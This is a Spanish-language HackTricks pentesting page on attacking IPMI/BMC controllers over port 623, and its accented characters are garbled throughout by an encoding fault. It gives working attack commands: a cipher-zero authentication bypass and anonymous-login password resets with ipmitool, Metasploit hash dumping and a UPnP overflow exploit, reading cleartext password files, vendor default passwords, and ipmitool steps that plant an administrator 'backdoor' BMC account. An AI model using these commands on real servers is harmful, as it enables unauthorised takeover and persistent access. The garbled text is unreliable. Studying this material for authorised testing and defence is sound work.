623/UDP/TCP - IPMI

623/UDP/TCP - IPMI

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Informaci贸n B谩sica

Descripci贸n general de IPMI

Interfaz de Gesti贸n de Plataforma Inteligente (IPMI) ofrece un enfoque estandarizado para la gesti贸n y monitoreo remoto de sistemas inform谩ticos, independientemente del sistema operativo o estado de energ铆a. Esta tecnolog铆a permite a los administradores de sistemas gestionar sistemas de forma remota, incluso cuando est谩n apagados o no responden, y es especialmente 煤til para:

  • Configuraciones previas al arranque del sistema operativo
  • Gesti贸n de apagado
  • Recuperaci贸n de fallos del sistema

IPMI es capaz de monitorear temperaturas, voltajes, velocidades de ventiladores y fuentes de alimentaci贸n, adem谩s de proporcionar informaci贸n de inventario, revisar registros de hardware y enviar alertas a trav茅s de SNMP. Esencial para su funcionamiento son una fuente de energ铆a y una conexi贸n LAN.

Desde su introducci贸n por Intel en 1998, IPMI ha sido respaldado por numerosos proveedores, mejorando las capacidades de gesti贸n remota, especialmente con el soporte de la versi贸n 2.0 para serie sobre LAN. Los componentes clave incluyen:

  • Controlador de Gesti贸n de Placa Base (BMC): El microcontrolador principal para las operaciones de IPMI.
  • Buses y Interfaces de Comunicaci贸n: Para comunicaci贸n interna y externa, incluyendo ICMB, IPMB y varias interfaces para conexiones locales y de red.
  • Memoria IPMI: Para almacenar registros y datos.

https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right

Puerto por Defecto: 623/UDP/TCP (Normalmente est谩 en UDP, pero tambi茅n podr铆a estar funcionando en TCP)

Enumeraci贸n

Descubrimiento

bash
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use  auxiliary/scanner/ipmi/ipmi_version

Puedes identificar la versi贸n usando:

bash
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10

Vulnerabilidades de IPMI

En el 谩mbito de IPMI 2.0, se descubri贸 un fallo de seguridad significativo por Dan Farmer, exponiendo una vulnerabilidad a trav茅s de cipher type 0. Esta vulnerabilidad, documentada en detalle en la investigaci贸n de Dan Farmer, permite el acceso no autorizado con cualquier contrase帽a siempre que se apunte a un usuario v谩lido. Esta debilidad se encontr贸 en varios BMC de fabricantes como HP, Dell y Supermicro, sugiriendo un problema generalizado en todas las implementaciones de IPMI 2.0.

Bypass de Autenticaci贸n de IPMI a trav茅s de Cipher 0

Para detectar este fallo, se puede emplear el siguiente esc谩ner auxiliar de Metasploit:

bash
use auxiliary/scanner/ipmi/ipmi_cipher_zero

La explotaci贸n de esta falla es alcanzable con ipmitool, como se demuestra a continuaci贸n, lo que permite listar y modificar las contrase帽as de los usuarios:

bash
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password

Recuperaci贸n de Hash de Contrase帽a Remota de Autenticaci贸n RAKP de IPMI 2.0

Esta vulnerabilidad permite la recuperaci贸n de contrase帽as hasheadas con sal (MD5 y SHA1) para cualquier nombre de usuario existente. Para probar esta vulnerabilidad, Metasploit ofrece un m贸dulo:

bash
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes

Autenticaci贸n An贸nima de IPMI

Una configuraci贸n predeterminada en muchos BMC permite el acceso "an贸nimo", caracterizado por cadenas de nombre de usuario y contrase帽a nulas. Esta configuraci贸n puede ser explotada para restablecer contrase帽as de cuentas de usuario nombradas utilizando ipmitool:

bash
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword

Supermicro IPMI Contrase帽as en texto claro

Una elecci贸n de dise帽o cr铆tica en IPMI 2.0 requiere el almacenamiento de contrase帽as en texto claro dentro de los BMC para fines de autenticaci贸n. El almacenamiento de estas contrase帽as por parte de Supermicro en ubicaciones como /nv/PSBlock o /nv/PSStore plantea preocupaciones de seguridad significativas:

bash
cat /nv/PSBlock

Vulnerabilidad UPnP de Supermicro IPMI

La inclusi贸n de un oyente SSDP UPnP en el firmware IPMI de Supermicro, particularmente en el puerto UDP 1900, introduce un grave riesgo de seguridad. Las vulnerabilidades en el SDK de Intel para Dispositivos UPnP versi贸n 1.3.1, como se detalla en la divulgaci贸n de Rapid7, permiten el acceso root al BMC:

bash
msf> use exploit/multi/upnp/libupnp_ssdp_overflow

Fuerza Bruta

HP aleatoriza la contrase帽a predeterminada para su producto Integrated Lights Out (iLO) durante la fabricaci贸n. Esta pr谩ctica contrasta con otros fabricantes, que tienden a usar credenciales predeterminadas est谩ticas. Un resumen de nombres de usuario y contrase帽as predeterminados para varios productos se proporciona a continuaci贸n:

  • HP Integrated Lights Out (iLO) utiliza una cadena aleatoria de 8 caracteres como su contrase帽a predeterminada, mostrando un nivel de seguridad m谩s alto.
  • Productos como iDRAC de Dell, IMM de IBM y Controlador de Gesti贸n Remota Integrado de Fujitsu utilizan contrase帽as f谩cilmente adivinables como "calvin", "PASSW0RD" (con un cero) y "admin" respectivamente.
  • De manera similar, Supermicro IPMI (2.0), Oracle/Sun ILOM y ASUS iKVM BMC tambi茅n utilizan credenciales predeterminadas simples, con "ADMIN", "changeme" y "admin" sirviendo como sus contrase帽as.

Accediendo al Host a trav茅s de BMC

El acceso administrativo al Controlador de Gesti贸n de Placa Base (BMC) abre varias v铆as para acceder al sistema operativo del host. Un enfoque sencillo implica explotar la funcionalidad de Teclado, Video, Rat贸n (KVM) del BMC. Esto se puede hacer reiniciando el host a un shell ra铆z a trav茅s de GRUB (usando init=/bin/sh) o arrancando desde un CD-ROM virtual configurado como disco de rescate. Tales m茅todos permiten la manipulaci贸n directa del disco del host, incluyendo la inserci贸n de puertas traseras, extracci贸n de datos o cualquier acci贸n necesaria para una evaluaci贸n de seguridad. Sin embargo, esto requiere reiniciar el host, lo cual es una desventaja significativa. Sin reiniciar, acceder al host en ejecuci贸n es m谩s complejo y var铆a con la configuraci贸n del host. Si la consola f铆sica o serial del host permanece conectada, puede ser f谩cilmente tomada a trav茅s de las funcionalidades KVM o serial-over-LAN (sol) del BMC mediante ipmitool. Explorar la explotaci贸n de recursos de hardware compartidos, como el bus i2c y el chip Super I/O, es un 谩rea que demanda m谩s investigaci贸n.

Introduciendo Puertas Traseras en BMC desde el Host

Al comprometer un host equipado con un BMC, se puede aprovechar la interfaz local del BMC para insertar una cuenta de usuario de puerta trasera, creando una presencia duradera en el servidor. Este ataque requiere la presencia de ipmitool en el host comprometido y la activaci贸n del soporte del controlador BMC. Los siguientes comandos ilustran c贸mo se puede inyectar una nueva cuenta de usuario en el BMC utilizando la interfaz local del host, lo que elude la necesidad de autenticaci贸n. Esta t茅cnica es aplicable a una amplia gama de sistemas operativos, incluyendo Linux, Windows, BSD e incluso DOS.

bash
ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)

ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)
4  backdoor        true    false      true      ADMINISTRATOR

Shodan

  • port:623

Referencias

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks